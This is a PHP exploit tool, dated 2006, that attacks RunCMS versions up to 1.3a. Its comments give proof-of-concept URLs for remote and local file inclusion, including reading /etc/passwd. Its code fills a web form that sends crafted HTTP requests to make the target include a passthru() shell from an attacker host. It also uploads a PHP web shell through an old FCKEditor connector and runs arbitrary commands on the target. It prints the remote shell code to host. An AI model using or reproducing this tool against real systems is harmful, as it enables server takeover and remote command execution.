<?php
#   ---runcms_13a_xpl.php                                     17.30 09/02/2006 #
#                                                                              #
#                 RunCMS <= 1.2 arbitrary remote inclusion exploit             #
#                   "    <= 1.3a shell upload through FCKEditor                #
#                              coded by rgod                                   #
#                  site: http://retrogod.altervista.org                        #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "But when the army is restless and distrustful, trouble is sure to #
#  come from the other feudal  princes. This is simply  bringing anarchy  into #
#  the army, and flinging victory away."                                       #

/* a short explaination:

   i) on unpatched <=1.2 versions I tested:

   if register_globals = On & allow_url_fopen = On
   arbitrary remote inclusion in
   modules/newbb_plus/class/class.forumposts.php
   at line 15:

   ...
   include_once ($bbPath['path'].'/include/user_level.php');
   ...

   and in modules/newbb_plus/class/forumpollrenderer.php
   at line 14:

   ...
   include_once($bbPath['path']."language/".$xoopsConfig['language']."/main.php");
   ...

   poc:
   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=http://somehost
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&xoopsConfig[language]=suntzu&bbPath[path]=http://somehost/

   where on [somehost] you have:

   <?php ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);passthru($cmd);die;?>

   in http://[somehost]/include/user_level.php/index.html
   and in: http:/[somehost]/language/suntzu/main.php/index.html<br>

   it seems this vulnerabilties has been patched from 1.3 version
   and old packages <= 1.2 has been uptaded with new patches

   ii) on unpatched <=1.2:
   if allow_url_fopen = Off, but magic_quotes_gpc = Off, you can include a file
   from local resources:

   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?bbPath[path]=../../../../../../../../etc/passwd%00
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=../../../../../../../../etc/passwd%00

   iii) on 1.3a version:

   also, integrated in runCMS we have an old version of FCKEditor
   (see this exploit link: http://retrogod.altervista.org/fckeditor_22_xpl.html)
   so you can upload files on target machine, .php3 files, .php5 and inc files
   call them directly (iii.a) and if not set as executable files on target machine,
   you can try local inclusion with versions <=1.2 (ii.b)

   poc:
   (iii.a) http://[target]/[path]/UserFiles/File/shell.php5?cmd=ls%20-la
   (ii.b) http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00
          http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00

                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>********RunCMS <= 1.3a remote commands execution********
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
********RunCMS <= 1.3a remote commands execution*********</p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%">  <tr> <td width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* hostname  (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/runcms/  or just / ) </span></p><p><input type="text" name="CMD">         <span
class="Stile5"> * specify a command     </span></p>    <p>    <input type="text"
name="LOCATION"><span class="Stile5">a remote location ( ex: http://www.somesite
.com, without traling slashes) , if you leave empty STEP 1-2 will be skipped...,
it works with versions <=1.2  </span></p><p><input type="text" name="port"><span
class="Stile5">specify  a  port other than  80 (default value)</span> </p>   <p>
<input  type="text" name="proxy"><span class="Stile5">send  exploit  through  an
HTTP proxy (ip:port)</span> </p> <p>          <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
		}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0".htmlentities($datai)."</td>";
    }
    else {
      echo "<td>".htmlentities($datai)."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".htmlentities($headeri[$li])."</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result < 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
  }
  else {
    echo "OK.<br><br>";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}
function refresh()
{
  flush();
  ob_flush();
  usleep(100000);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

  $host=$_POST[host];$path=$_POST[path];
  $port=$_POST[port];$LOCATION=$_POST[LOCATION];
  $CMD=$_POST[CMD];$proxy=$_POST[proxy];

  echo "<span class=\"Stile5\">";

  if (($host<>'') and ($path<>'') and ($CMD<>''))
  {
    $port=intval(trim($port));
    if ($port=='') {$port=80;}
    if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
    $host=str_replace("\n","",str_replace("\r","",$host));
    $path=str_replace("\n","",str_replace("\r","",$path));
    $CMD=urlencode($CMD);

    if ($LOCATION<>'')
    {
      # STEP 1 -> arbitrary remote inclusion in modules/newbb_plus/class/class.forumposts.php
      $packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?";
      $packet.="cmd=$CMD&bbPath[path]=$LOCATION HTTP/1.1\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      show($packet);
      sendpacketii($packet);
      if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}

      # STEP 2 -> arbitrary remote inclusion in modules/newbb_plus/class/forumpollrenderer.php
      $packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?";
      $packet.="cmd=$CMD&bbPath[path]=$LOCATION/&xoopsConfig[language]=suntzu HTTP/1.1\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      show($packet);
      sendpacketii($packet);
      if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
      //if you are here...
      echo "Arbitrary remote inclusion failed... trying STEP 3 -> Uploading a shell through FCKEditor<br>";
    }


    # STEP 3 -> Use FCKEditor to upload malicious code
    $SHELL ="<?php echo chr(72).\"iMaster!\";ini_set(\"max_execution_time\",0);error_reporting(0);";
    $SHELL.="phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?>";
    //we try to guess allowed extensions...
    // you should succeed with .php3
    $extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc');
    //add what you want
    //'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
    //empty for 2.2
    $upload_command= array('FileUpload','');
    $path_to_shell="/UserFiles/File/"; //default one: if different, script will find it
    //calculate how far we are from site root
    $cc=explode("/",$path);
    $ccc=count($cc)-2;
    $back="";
    for ($xx=1; $xx<=$ccc; $xx++) { $back.="../";}
    for ($x=0; $x<=count($extensions)-1; $x++)
    {
    for ($y=0; $y<=1; $y++)
      {
      # STEP 3a -> Upload the shell
      srand(make_seed());
      $anumber = rand(1,9999);
      $filename="suntzu".$anumber.$extensions[$x];
      $data="-----------------------------7d529a1d23092a\r\n";
      $data.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
      $data.="Content-Type:\r\n\r\n";
      $data.="$SHELL\r\n";
      $data.="-----------------------------7d529a1d23092a--\r\n";
      $packet="POST ".$p."class/fckeditor/editor/filemanager/browser/default/connectors/php/";
      $packet.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFolder= HTTP/1.1\r\n";
      $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
      $packet.="User-Agent: Sun-tzu giving you the pain\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Content-Length: ".strlen($data)."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      $packet.=$data;
      show($packet);
      sendpacketii($packet);
      if (!eregi("200 OK",$html)) {die("Cannot find connector.php...<br>");}
      if (eregi("This connector is disabled",$html)) {echo "Exploit failed... -> php connector not enabled";die;}
      if (eregi("url=\"",$html))
      {
        $temp=explode("url=\"",$html);
        $temp2=explode("\"",$temp[1]);
        $path_to_shell=$temp2[0];
      }
      echo "<br>path where I search shell: ".htmlentities($path_to_shell)."<br>";
      # STEP 3b -> Launch commands...
      #by default a "UserFiles/File/" dir is generated inside site root when you upload
      #files, this dir is not protected by an .htaccess file or whatever
      if ($pRoXy<>'') {$path_to_shell="http://".$host.':'.$port.$path_to_shell;}
      $packet="GET ".$path_to_shell.$filename."?cmd=$CMD HTTP/1.1\r\n";
      $packet.="User-Agent: GoogleBot/1.1\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      show($packet);
      sendpacketii($packet);
      if (eregi("200 OK",$html)){
                                 if (eregi("HiMaster!",$html))
    			                 { echo "Exploit succeeded...<br>";
				                   echo "we have a shell in http://".$host.$path_to_shell.$filename."<br>";
                     			   echo "we should have phpinfo() here, see html...<br>";
			                       die;
                                 }
                                  else
                                  {
                                   echo "Successfully uploaded...<br>
			                       but is not an executable on target server...<br>
                                   let's try to include it...<br>
                                   ";
                                    # STEP 3c
                                    $packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?";
                                    $packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n";
                                    $packet.="Host: ".$host."\r\n";
                                    $packet.="Connection: Close\r\n\r\n";
                                    show($packet);
                                    sendpacketii($packet);
                                    if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
                                    # STEP 3d
                                    $packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?";
                                    $packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n";
                                    $packet.="Host: ".$host."\r\n";
                                    $packet.="Connection: Close\r\n\r\n";
                                    show($packet);
                                    sendpacketii($packet);
                                    if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
                                  }
                                }
      refresh();
    }
  }
  //if you are here
  echo "Exploit failed...";

  }
  else
{echo "Note: on remote location prepare this code in<br>
        http:/[remote_location]/include/user_level.php/index.html<br>
        and in:<br>
        http:/[remote_location]/language/suntzu/main.php/index.html<br>
        ";
 echo  nl2br(htmlentities("
        <?php
        ob_clean();echo\"HiMaster!\";ini_set(\"max_execution_time\",0);passthru(\$cmd);die;
        ?>
        "));
 echo    "<br>Fill * required fields, optionally specify a proxy...";}
 echo "</span>";
?>